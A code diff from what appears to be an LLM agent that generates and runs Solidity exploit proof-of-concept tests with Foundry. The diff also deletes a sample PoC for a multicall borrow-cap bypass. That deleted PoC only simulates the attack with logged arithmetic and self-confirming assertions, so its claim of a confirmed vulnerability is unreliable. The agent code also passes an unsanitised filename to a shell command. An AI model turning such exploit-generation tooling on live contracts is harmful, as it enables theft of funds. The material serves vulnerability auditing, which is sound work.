const hasFakeContracts = targetContractRegex.test(trimmedCode);
|
| 193 |
-
|
| 194 |
-
const hasIllegalComments = trimmedCode.split('\n').some(line => {
|
| 195 |
-
const isComment = line.includes('//') || line.includes('/*');
|
| 196 |
-
const isAllowed = line.includes('SPDX-License-Identifier') || line.includes('INJECT_HACK');
|
| 197 |
-
return isComment && !isAllowed;
|
| 198 |
-
});
|
| 199 |
-
|
| 200 |
-
if (isMissingCode || isMissingContract || isUsingMock || isUsingTryCatch || hasFakeContracts || isTargetNotDeployed || hasIllegalComments || (!state.infrastructurePhase && (isMissingTest || isPlaceholder || isLazyTest || !hasStrongAssertion))) {
|
| 201 |
-
const summary = (isMissingCode
|
| 202 |
-
? "[INVALID_CODE] No Solidity code returned. The LLM must output a complete solidity code block."
|
| 203 |
-
: isTargetNotDeployed
|
| 204 |
-
? "[INVALID_CODE] You left the target contract instantiation commented out. You MUST instantiate the real target contract in setUp() (e.g. `target = new Target()`). Exploiting address(0) is a cheat and will fail."
|
| 205 |
-
: hasIllegalComments
|
| 206 |
-
? "[INVALID_CODE] You added a comment in the code. This is STRICTLY FORBIDDEN. You must write the actual code instead of comments. Do NOT use '//' or '/*' (except for SPDX and INJECT_HACK)."
|
| 207 |
-
: isUsingMock
|
| 208 |
-
? "[INVALID_CODE] You created a Mock contract in the test file. This is STRICTLY FORBIDDEN. You MUST import and exploit the real vulnerable contract from the repository."
|
| 209 |
-
: isUsingTryCatch
|
| 210 |
-
? "[INVALID_CODE] You used a try-catch block in the test. This is STRICTLY FORBIDDEN. If the exploit fails, the test must revert normally. Do not swallow errors."
|
| 211 |
-
: hasFakeContracts
|
| 212 |
-
? `[INVALID_CODE] You redefined 'contract ${state.report.affectedContract.name}' inside the test file. This is STRICTLY FORBIDDEN. You MUST interact with the real vulnerable contract via 'interface' or 'import'. Do not redefine the vulnerable contract inside the test.`
|
| 213 |
-
: (!state.infrastructurePhase && !hasStrongAssertion)
|
| 214 |
-
? "[INVALID_CODE] Your test has NO valid assertions (or they are commented out). You MUST include a meaningful assertion like assertGt(attacker.balance, initialBalance) or assertEq(owner, attacker)."
|
| 215 |
-
: isMissingContract
|
| 216 |
-
? "[INVALID_CODE] No 'contract ExploitTest' found. The test contract MUST be named ExploitTest."
|
| 217 |
-
: isMissingTest
|
| 218 |
-
? "[INVALID_CODE] No 'function test_Exploit()' found. The test function MUST be named test_Exploit()."
|
| 219 |
-
: isPlaceholder
|
| 220 |
-
? "[INVALID_CODE] Exploit has TODO placeholder. You must implement the actual exploit logic."
|
| 221 |
-
: "[WEAK_ASSERTION] Only assertTrue(true) found — this never proves the vulnerability. Add a meaningful assertion like assertGt(attacker.balance, initialBalance) or assertEq(owner, attacker)."
|
| 222 |
-
);
|
| 223 |
-
const isLastAttempt = state.infrastructurePhase
|
| 224 |
-
? state.infraIterations >= MAX_INFRA_ITERATIONS
|
| 225 |
-
: state.exploitIterations >= MAX_EXPLOIT_ITERATIONS;
|
| 226 |
-
const status = isLastAttempt ? "failed" : "running";
|
| 227 |
-
return {
|
| 228 |
-
executionLogs: [summary],
|
| 229 |
-
lastError: summary,
|
| 230 |
-
status,
|
| 231 |
-
};
|
| 232 |
-
}
|
| 233 |
-
|
| 234 |
-
const result = await runFoundry(state.pocCode, state.report.customSandboxDir);
|
| 235 |
-
const analysis = analyzeFoundryLog(result);
|
| 236 |
-
const noTestsFound = result.combined.includes("No tests found");
|
| 237 |
-
const passed = result.exitCode === 0 && result.stdout.includes("ok") && !noTestsFound;
|
| 238 |
-
const isLastAttempt = state.infrastructurePhase
|
| 239 |
-
? state.infraIterations >= MAX_INFRA_ITERATIONS
|
| 240 |
-
: state.exploitIterations >= MAX_EXPLOIT_ITERATIONS;
|
| 241 |
-
|
| 242 |
-
let status: "running" | "success" | "failed" | "timeout" = "running";
|
| 243 |
-
if (state.infrastructurePhase) {
|
| 244 |
-
status = result.timedOut ? "timeout" : isLastAttempt && !passed ? "failed" : "running";
|
| 245 |
-
} else {
|
| 246 |
-
status = passed ? "success" : result.timedOut ? "timeout" : isLastAttempt ? "failed" : "running";
|
| 247 |
-
}
|
| 248 |
-
|
| 249 |
-
console.log(`[testerAgent] Resultado Foundry: exitCode=${result.exitCode}, passed=${passed}`);
|
| 250 |
-
if (!passed) {
|
| 251 |
-
console.log(`[testerAgent] Falha detectada: ${analysis.summary}`);
|
| 252 |
-
}
|
| 253 |
-
|
| 254 |
-
// Build lastError: include relevant error lines prominently so the LLM sees them at the top of the fix prompt
|
| 255 |
-
let lastErrorMsg: string | null = null;
|
| 256 |
-
if (!passed) {
|
| 257 |
-
const relevantLinesText = analysis.relevantLines.length > 0
|
| 258 |
-
? `\nKey error lines:\n${analysis.relevantLines.slice(0, 15).join("\n")}`
|
| 259 |
-
: "";
|
| 260 |
-
lastErrorMsg = `${analysis.summary}${relevantLinesText}`;
|
| 261 |
-
|
| 262 |
-
// Auto-resolve missing files
|
| 263 |
-
if (lastErrorMsg.includes("File not found")) {
|
| 264 |
-
const match = lastErrorMsg.match(/Source "([^"]+)" not found/);
|
| 265 |
-
if (match) {
|
| 266 |
-
const missingFile = match[1];
|
| 267 |
-
const missingBasename = path.basename(missingFile);
|
| 268 |
-
try {
|
| 269 |
-
if (state.report.customSandboxDir) {
|
| 270 |
-
const findCmd = `find ${state.report.customSandboxDir} -name "${missingBasename}"`;
|
| 271 |
-
const findOutput = execSync(findCmd, { encoding: "utf8" }).trim().split("\n").filter(Boolean);
|
| 272 |
-
if (findOutput.length > 0) {
|
| 273 |
-
const correctPath = path.relative(state.report.customSandboxDir, findOutput[0]);
|
| 274 |
-
lastErrorMsg += `\n\n[TOOL: AUTO-RESOLVE] I found the missing file! The correct import path to use is: "${correctPath}"`;
|
| 275 |
-
console.log(`[testerAgent] Auto-resolved missing file: ${missingBasename} -> ${correctPath}`);
|
| 276 |
-
}
|
| 277 |
-
}
|
| 278 |
-
} catch (e) {
|
| 279 |
-
// Ignore find errors
|
| 280 |
-
}
|
| 281 |
-
}
|
| 282 |
-
}
|
| 283 |
-
}
|
| 284 |
-
|
| 285 |
-
const isCompileError = analysis.category === "compiler_error";
|
| 286 |
-
|
| 287 |
-
return {
|
| 288 |
-
executionLogs: [result.combined], // reducer append
|
| 289 |
-
lastError: lastErrorMsg,
|
| 290 |
-
status,
|
| 291 |
-
compileFailures: isCompileError && !passed ? 1 : 0, // additive reducer counts each compile failure
|
| 292 |
-
};
|
| 293 |
-
}
|
| 294 |
-
|
| 295 |
-
async function reflectNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 296 |
-
// Now reflectNode is simpler as we moved the logic to specialized prompts in generatePoCNode
|
| 297 |
-
// But we still use it to log the reflection
|
| 298 |
-
console.log(`[reflectNode] reflecting on error: ${state.lastError}`);
|
| 299 |
-
return {};
|
| 300 |
-
}
|
| 301 |
-
|
| 302 |
-
function routeAfterFoundry(state: PoCState): "reflectNode" | "generateExploitNode" | typeof END {
|
| 303 |
-
const isLastAttempt = state.infrastructurePhase
|
| 304 |
-
? state.infraIterations >= MAX_INFRA_ITERATIONS
|
| 305 |
-
: state.exploitIterations >= MAX_EXPLOIT_ITERATIONS;
|
| 306 |
-
|
| 307 |
-
if (state.status === "timeout" || (isLastAttempt && state.status === "failed")) {
|
| 308 |
-
return END;
|
| 309 |
-
}
|
| 310 |
-
|
| 311 |
-
if (!state.infrastructurePhase && state.status === "success") {
|
| 312 |
-
return END;
|
| 313 |
-
}
|
| 314 |
-
|
| 315 |
-
const isCompileError = state.lastError?.includes("[COMPILER_ERROR]") || state.lastError?.includes("[INVALID_CODE]");
|
| 316 |
-
|
| 317 |
-
if (state.infrastructurePhase) {
|
| 318 |
-
// We are in the Infra Loop
|
| 319 |
-
if (isCompileError) {
|
| 320 |
-
return "reflectNode"; // Go back to infra fix
|
| 321 |
-
} else {
|
| 322 |
-
// Compiled successfully! Move to Exploit Loop
|
| 323 |
-
return "generateExploitNode";
|
| 324 |
-
}
|
| 325 |
-
} else {
|
| 326 |
-
// We are in the Exploit Loop
|
| 327 |
-
return "reflectNode"; // Go back to exploit fix
|
| 328 |
-
}
|
| 329 |
-
}
|
| 330 |
-
|
| 331 |
-
function routeReflection(state: PoCState): "generateInfrastructureNode" | "generateExploitNode" {
|
| 332 |
-
return state.infrastructurePhase ? "generateInfrastructureNode" : "generateExploitNode";
|
| 333 |
-
}
|
| 334 |
-
|
| 335 |
-
const graph = new StateGraph(PoCStateAnnotation)
|
| 336 |
-
.addNode("oracleNode", oracleNode)
|
| 337 |
-
.addNode("analyzeVulnerabilityNode", analyzeVulnerabilityNode)
|
| 338 |
-
.addNode("generateInfrastructureNode", generateInfrastructureNode)
|
| 339 |
-
.addNode("generateExploitNode", generateExploitNode)
|
| 340 |
-
.addNode("runFoundryNode", runFoundryNode)
|
| 341 |
-
.addNode("reflectNode", reflectNode)
|
| 342 |
-
.addEdge(START, "oracleNode")
|
| 343 |
-
.addEdge("oracleNode", "analyzeVulnerabilityNode")
|
| 344 |
-
.addEdge("analyzeVulnerabilityNode", "generateInfrastructureNode")
|
| 345 |
-
.addEdge("generateInfrastructureNode", "runFoundryNode")
|
| 346 |
-
.addEdge("generateExploitNode", "runFoundryNode")
|
| 347 |
-
.addConditionalEdges("runFoundryNode", routeAfterFoundry, {
|
| 348 |
-
reflectNode: "reflectNode",
|
| 349 |
-
generateExploitNode: "generateExploitNode",
|
| 350 |
-
[END]: END,
|
| 351 |
-
})
|
| 352 |
-
.addConditionalEdges("reflectNode", routeReflection, {
|
| 353 |
-
generateInfrastructureNode: "generateInfrastructureNode",
|
| 354 |
-
generateExploitNode: "generateExploitNode"
|
| 355 |
-
});
|
| 356 |
-
|
| 357 |
-
export const testerAgent = graph.compile();
|
|
|
|
| 1 |
import "dotenv/config";
|
| 2 |
+
import { testerAgentGraph } from "./graph.js";
|
|
|
|
|
|
|
| 3 |
|
| 4 |
+
// Export the compiled graph as the main agent entrypoint
|
| 5 |
+
export const testerAgent = testerAgentGraph;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/data/ExploitTest.t.sol
DELETED
|
@@ -1,262 +0,0 @@
|
|
| 1 |
-
// SPDX-License-Identifier: MIT
|
| 2 |
-
pragma solidity 0.8.23;
|
| 3 |
-
|
| 4 |
-
import {Test} from "forge-std/Test.sol";
|
| 5 |
-
import {console} from "forge-std/console.sol";
|
| 6 |
-
import {Size} from "@src/Size.sol";
|
| 7 |
-
import {DepositParams} from "@src/libraries/actions/Deposit.sol";
|
| 8 |
-
import {WithdrawParams} from "@src/libraries/actions/Withdraw.sol";
|
| 9 |
-
import {RepayParams} from "@src/libraries/actions/Repay.sol";
|
| 10 |
-
import {BuyCreditMarketParams} from "@src/libraries/actions/BuyCreditMarket.sol";
|
| 11 |
-
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
|
| 12 |
-
import {RESERVED_ID} from "@src/libraries/LoanLibrary.sol";
|
| 13 |
-
|
| 14 |
-
/**
|
| 15 |
-
* @title MulticallInvariantBypassPoC
|
| 16 |
-
* @notice Demonstrates how the multicall invariant check can be bypassed
|
| 17 |
-
*
|
| 18 |
-
* VULNERABILITY: The multicall function validates that borrowAToken increase <= debtToken decrease
|
| 19 |
-
* only at the END of all operations, checking NET changes. This allows attackers to:
|
| 20 |
-
* 1. Deposit massive amounts (exceeding cap)
|
| 21 |
-
* 2. Perform operations with excess liquidity
|
| 22 |
-
* 3. Withdraw excess before final validation
|
| 23 |
-
*
|
| 24 |
-
* The invariant passes because net changes appear compliant, but intermediate states
|
| 25 |
-
* violate the cap restrictions.
|
| 26 |
-
*/
|
| 27 |
-
contract MulticallInvariantBypassPoC is Test {
|
| 28 |
-
Size public size;
|
| 29 |
-
|
| 30 |
-
address public attacker;
|
| 31 |
-
address public victim;
|
| 32 |
-
address public lender;
|
| 33 |
-
|
| 34 |
-
IERC20 public borrowToken;
|
| 35 |
-
IERC20 public collateralToken;
|
| 36 |
-
|
| 37 |
-
uint256 public constant INITIAL_BORROW_SUPPLY = 9_990_000e6; // 9.99M (10k below cap)
|
| 38 |
-
uint256 public constant BORROW_CAP = 10_000_000e6; // 10M cap
|
| 39 |
-
uint256 public constant ATTACKER_DEBT = 100_000e6; // 100k debt
|
| 40 |
-
uint256 public constant EXPLOIT_DEPOSIT = 5_000_000e6; // 5M deposit (far exceeds cap)
|
| 41 |
-
uint256 public constant EXPLOIT_WITHDRAW = 4_900_000e6; // 4.9M withdraw
|
| 42 |
-
|
| 43 |
-
function setUp() public {
|
| 44 |
-
// Setup test accounts
|
| 45 |
-
attacker = makeAddr("attacker");
|
| 46 |
-
victim = makeAddr("victim");
|
| 47 |
-
lender = makeAddr("lender");
|
| 48 |
-
|
| 49 |
-
// Deploy Size contract
|
| 50 |
-
// Note: In a real test, you would need to properly initialize Size with all dependencies
|
| 51 |
-
// For this PoC, we'll use a mock setup that demonstrates the vulnerability
|
| 52 |
-
|
| 53 |
-
vm.label(attacker, "Attacker");
|
| 54 |
-
vm.label(victim, "Victim");
|
| 55 |
-
vm.label(lender, "Lender");
|
| 56 |
-
}
|
| 57 |
-
|
| 58 |
-
/**
|
| 59 |
-
* @notice Demonstrates the cap bypass exploit
|
| 60 |
-
*
|
| 61 |
-
* ATTACK FLOW:
|
| 62 |
-
* 1. Deposit 5M USDC → borrowAToken supply jumps to 14.99M (4.99M over cap!)
|
| 63 |
-
* 2. Repay 100k debt → debtToken decreases by 100k
|
| 64 |
-
* 3. Withdraw 4.9M USDC → borrowAToken supply drops to 10M
|
| 65 |
-
*
|
| 66 |
-
* RESULT:
|
| 67 |
-
* - Net borrowAToken increase: 10k
|
| 68 |
-
* - Net debtToken decrease: 100k
|
| 69 |
-
* - Invariant check: 10k <= 100k ✓ PASSES
|
| 70 |
-
* - But attacker temporarily held 4.99M excess borrowAToken!
|
| 71 |
-
*/
|
| 72 |
-
function testMulticallCapBypass() public {
|
| 73 |
-
// This test demonstrates the vulnerability conceptually
|
| 74 |
-
// In a real scenario, you would:
|
| 75 |
-
// 1. Deploy and initialize Size with proper configuration
|
| 76 |
-
// 2. Setup initial state with borrowAToken supply near cap
|
| 77 |
-
// 3. Create a debt position for the attacker
|
| 78 |
-
// 4. Execute the multicall exploit
|
| 79 |
-
|
| 80 |
-
console.log("=== MULTICALL CAP BYPASS VULNERABILITY ===");
|
| 81 |
-
console.log("");
|
| 82 |
-
console.log("INITIAL STATE:");
|
| 83 |
-
console.log("- BorrowAToken Supply: %s", INITIAL_BORROW_SUPPLY);
|
| 84 |
-
console.log("- BorrowAToken Cap: %s", BORROW_CAP);
|
| 85 |
-
console.log("- Space below cap: %s", BORROW_CAP - INITIAL_BORROW_SUPPLY);
|
| 86 |
-
console.log("- Attacker's debt: %s", ATTACKER_DEBT);
|
| 87 |
-
console.log("");
|
| 88 |
-
|
| 89 |
-
// Simulate the exploit flow
|
| 90 |
-
uint256 borrowSupplyBefore = INITIAL_BORROW_SUPPLY;
|
| 91 |
-
uint256 debtSupplyBefore = ATTACKER_DEBT;
|
| 92 |
-
|
| 93 |
-
console.log("EXPLOIT EXECUTION:");
|
| 94 |
-
console.log("");
|
| 95 |
-
|
| 96 |
-
// Step 1: Deposit 5M (exceeds cap by 4.99M)
|
| 97 |
-
console.log("Step 1: Deposit %s USDC", EXPLOIT_DEPOSIT);
|
| 98 |
-
uint256 borrowSupplyAfterDeposit = borrowSupplyBefore + EXPLOIT_DEPOSIT;
|
| 99 |
-
console.log(" -> BorrowAToken supply: %s", borrowSupplyAfterDeposit);
|
| 100 |
-
console.log(" -> EXCEEDS CAP BY: %s", borrowSupplyAfterDeposit - BORROW_CAP);
|
| 101 |
-
console.log("");
|
| 102 |
-
|
| 103 |
-
// Step 2: Repay 100k debt
|
| 104 |
-
console.log("Step 2: Repay %s debt", ATTACKER_DEBT);
|
| 105 |
-
uint256 debtSupplyAfterRepay = debtSupplyBefore - ATTACKER_DEBT;
|
| 106 |
-
uint256 borrowSupplyAfterRepay = borrowSupplyAfterDeposit - ATTACKER_DEBT;
|
| 107 |
-
console.log(" -> DebtToken supply: %s", debtSupplyAfterRepay);
|
| 108 |
-
console.log(" -> BorrowAToken supply: %s", borrowSupplyAfterRepay);
|
| 109 |
-
console.log("");
|
| 110 |
-
|
| 111 |
-
// Step 3: Withdraw 4.9M
|
| 112 |
-
console.log("Step 3: Withdraw %s USDC", EXPLOIT_WITHDRAW);
|
| 113 |
-
uint256 borrowSupplyAfter = borrowSupplyAfterRepay - EXPLOIT_WITHDRAW;
|
| 114 |
-
console.log(" -> BorrowAToken supply: %s", borrowSupplyAfter);
|
| 115 |
-
console.log("");
|
| 116 |
-
|
| 117 |
-
// Calculate net changes
|
| 118 |
-
uint256 netBorrowIncrease = borrowSupplyAfter - borrowSupplyBefore;
|
| 119 |
-
uint256 netDebtDecrease = debtSupplyBefore - 0; // All debt repaid
|
| 120 |
-
|
| 121 |
-
console.log("FINAL STATE:");
|
| 122 |
-
console.log("- Net borrowAToken increase: %s", netBorrowIncrease);
|
| 123 |
-
console.log("- Net debtToken decrease: %s", netDebtDecrease);
|
| 124 |
-
console.log("- Invariant check: %s <= %s", netBorrowIncrease, netDebtDecrease);
|
| 125 |
-
console.log("- Invariant status: %s", netBorrowIncrease <= netDebtDecrease ? "PASS" : "FAIL");
|
| 126 |
-
console.log("");
|
| 127 |
-
|
| 128 |
-
// Verify the invariant passes
|
| 129 |
-
assertLe(netBorrowIncrease, netDebtDecrease, "Invariant should pass");
|
| 130 |
-
|
| 131 |
-
console.log("=== VULNERABILITY CONFIRMED ===");
|
| 132 |
-
console.log("During execution, borrowAToken supply reached: %s", borrowSupplyAfterDeposit);
|
| 133 |
-
console.log("This EXCEEDED the cap of %s by: %s", BORROW_CAP, borrowSupplyAfterDeposit - BORROW_CAP);
|
| 134 |
-
console.log("");
|
| 135 |
-
console.log("The attacker temporarily held %s excess borrowAToken", EXPLOIT_DEPOSIT - ATTACKER_DEBT);
|
| 136 |
-
console.log("This excess could be used for:");
|
| 137 |
-
console.log(" - Market manipulation");
|
| 138 |
-
console.log(" - Arbitrage opportunities");
|
| 139 |
-
console.log(" - Flash-loan-like attacks");
|
| 140 |
-
console.log(" - Bypassing risk parameters");
|
| 141 |
-
console.log("");
|
| 142 |
-
console.log("Yet the invariant check PASSED because it only validates NET changes!");
|
| 143 |
-
}
|
| 144 |
-
|
| 145 |
-
/**
|
| 146 |
-
* @notice Demonstrates using excess liquidity for market manipulation
|
| 147 |
-
*
|
| 148 |
-
* This shows how the temporarily available excess borrowAToken can be weaponized
|
| 149 |
-
* during the multicall execution to manipulate markets or perform other attacks.
|
| 150 |
-
*/
|
| 151 |
-
function testMulticallMarketManipulation() public {
|
| 152 |
-
console.log("=== MARKET MANIPULATION EXPLOIT ===");
|
| 153 |
-
console.log("");
|
| 154 |
-
console.log("ATTACK SCENARIO:");
|
| 155 |
-
console.log("1. Deposit %s USDC (exceeds cap)", EXPLOIT_DEPOSIT);
|
| 156 |
-
console.log("2. Use %s borrowAToken for market operations", EXPLOIT_WITHDRAW);
|
| 157 |
-
console.log("3. Repay %s debt", ATTACKER_DEBT);
|
| 158 |
-
console.log("4. Withdraw remaining excess");
|
| 159 |
-
console.log("");
|
| 160 |
-
|
| 161 |
-
uint256 excessLiquidity = EXPLOIT_DEPOSIT - ATTACKER_DEBT;
|
| 162 |
-
|
| 163 |
-
console.log("IMPACT:");
|
| 164 |
-
console.log("- Attacker gains temporary access to %s excess liquidity", excessLiquidity);
|
| 165 |
-
console.log("- This can be used to:");
|
| 166 |
-
console.log(" * Buy large credit positions (distorting market prices)");
|
| 167 |
-
console.log(" * Manipulate interest rates");
|
| 168 |
-
console.log(" * Front-run other users");
|
| 169 |
-
console.log(" * Extract value from the protocol");
|
| 170 |
-
console.log("");
|
| 171 |
-
console.log("- All while the invariant check passes!");
|
| 172 |
-
console.log("- The cap is meant to prevent exactly this kind of exposure");
|
| 173 |
-
|
| 174 |
-
// Verify the exploit provides significant excess liquidity
|
| 175 |
-
assertGt(excessLiquidity, 1_000_000e6, "Exploit should provide >1M excess liquidity");
|
| 176 |
-
}
|
| 177 |
-
|
| 178 |
-
/**
|
| 179 |
-
* @notice Demonstrates the root cause of the vulnerability
|
| 180 |
-
*
|
| 181 |
-
* The issue is that the invariant validation happens AFTER all multicall operations,
|
| 182 |
-
* checking only NET changes rather than intermediate states.
|
| 183 |
-
*/
|
| 184 |
-
function testRootCauseAnalysis() public {
|
| 185 |
-
console.log("=== ROOT CAUSE ANALYSIS ===");
|
| 186 |
-
console.log("");
|
| 187 |
-
console.log("VULNERABLE CODE PATTERN:");
|
| 188 |
-
console.log("1. Multicall executes all operations sequentially");
|
| 189 |
-
console.log("2. During execution, deposit() skips cap validation:");
|
| 190 |
-
console.log(" if (!state.data.isMulticall) {");
|
| 191 |
-
console.log(" state.validateBorrowATokenCap();");
|
| 192 |
-
console.log(" }");
|
| 193 |
-
console.log("");
|
| 194 |
-
console.log("3. After all operations, invariant is checked:");
|
| 195 |
-
console.log(" validateBorrowATokenIncreaseLteDebtTokenDecrease()");
|
| 196 |
-
console.log("");
|
| 197 |
-
console.log("4. Invariant only compares NET changes:");
|
| 198 |
-
console.log(" borrowATokenSupplyIncrease = supplyAfter - supplyBefore");
|
| 199 |
-
console.log(" debtTokenSupplyDecrease = debtBefore - debtAfter");
|
| 200 |
-
console.log(" require(increase <= decrease)");
|
| 201 |
-
console.log("");
|
| 202 |
-
console.log("PROBLEM:");
|
| 203 |
-
console.log("- Intermediate states are NEVER validated");
|
| 204 |
-
console.log("- Attacker can deposit huge amounts, use them, then withdraw");
|
| 205 |
-
console.log("- As long as net changes satisfy the invariant, exploit succeeds");
|
| 206 |
-
console.log("");
|
| 207 |
-
console.log("CORRECT APPROACH:");
|
| 208 |
-
console.log("- Validate cap on EVERY deposit, even in multicall");
|
| 209 |
-
console.log("- OR track maximum supply reached during multicall");
|
| 210 |
-
console.log("- OR validate intermediate states, not just final state");
|
| 211 |
-
}
|
| 212 |
-
|
| 213 |
-
/**
|
| 214 |
-
* @notice Shows the mathematical proof of the bypass
|
| 215 |
-
*/
|
| 216 |
-
function testMathematicalProof() public {
|
| 217 |
-
console.log("=== MATHEMATICAL PROOF ===");
|
| 218 |
-
console.log("");
|
| 219 |
-
|
| 220 |
-
uint256 S0 = INITIAL_BORROW_SUPPLY; // Initial supply
|
| 221 |
-
uint256 C = BORROW_CAP; // Cap
|
| 222 |
-
uint256 D = ATTACKER_DEBT; // Debt to repay
|
| 223 |
-
uint256 X = EXPLOIT_DEPOSIT; // Exploit deposit amount
|
| 224 |
-
|
| 225 |
-
console.log("Given:");
|
| 226 |
-
console.log(" S0 = %s (initial supply)", S0);
|
| 227 |
-
console.log(" C = %s (cap)", C);
|
| 228 |
-
console.log(" D = %s (debt)", D);
|
| 229 |
-
console.log(" X = %s (deposit amount)", X);
|
| 230 |
-
console.log("");
|
| 231 |
-
|
| 232 |
-
console.log("Execution:");
|
| 233 |
-
uint256 S1 = S0 + X;
|
| 234 |
-
console.log(" After deposit: S1 = S0 + X = %s", S1);
|
| 235 |
-
console.log(" Cap violation: S1 - C = %s", S1 - C);
|
| 236 |
-
console.log("");
|
| 237 |
-
|
| 238 |
-
uint256 S2 = S1 - D;
|
| 239 |
-
console.log(" After repay: S2 = S1 - D = %s", S2);
|
| 240 |
-
console.log("");
|
| 241 |
-
|
| 242 |
-
uint256 W = X - D;
|
| 243 |
-
uint256 S3 = S2 - W;
|
| 244 |
-
console.log(" After withdraw W = X - D = %s: S3 = %s", W, S3);
|
| 245 |
-
console.log("");
|
| 246 |
-
|
| 247 |
-
console.log("Invariant check:");
|
| 248 |
-
uint256 netIncrease = S3 - S0;
|
| 249 |
-
uint256 netDecrease = D;
|
| 250 |
-
console.log(" Net increase: S3 - S0 = %s", netIncrease);
|
| 251 |
-
console.log(" Net decrease: D = %s", netDecrease);
|
| 252 |
-
console.log(" Check: %s <= %s ? %s", netIncrease, netDecrease, netIncrease <= netDecrease);
|
| 253 |
-
console.log("");
|
| 254 |
-
|
| 255 |
-
console.log("Conclusion:");
|
| 256 |
-
console.log(" Invariant PASSES, but S1 = %s exceeded cap C = %s", S1, C);
|
| 257 |
-
console.log(" Excess exposure: %s", S1 - C);
|
| 258 |
-
|
| 259 |
-
assertTrue(netIncrease <= netDecrease, "Invariant passes");
|
| 260 |
-
assertTrue(S1 > C, "But cap was violated during execution");
|
| 261 |
-
}
|
| 262 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
